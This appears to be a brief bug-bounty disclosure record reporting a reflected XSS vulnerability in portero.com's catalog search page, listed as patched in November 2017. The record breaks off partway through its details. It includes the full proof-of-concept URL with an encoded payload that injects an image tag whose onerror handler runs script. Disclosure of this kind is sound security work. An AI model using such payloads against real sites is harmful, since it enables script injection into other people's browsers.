portero.com XSS vulnerability

Vulnerable URL: https://www.portero.com/catalogsearch/result/?q=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg%20src=y%20onerror=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:59 GMT Vulnerability type:| XSS Vulnerability...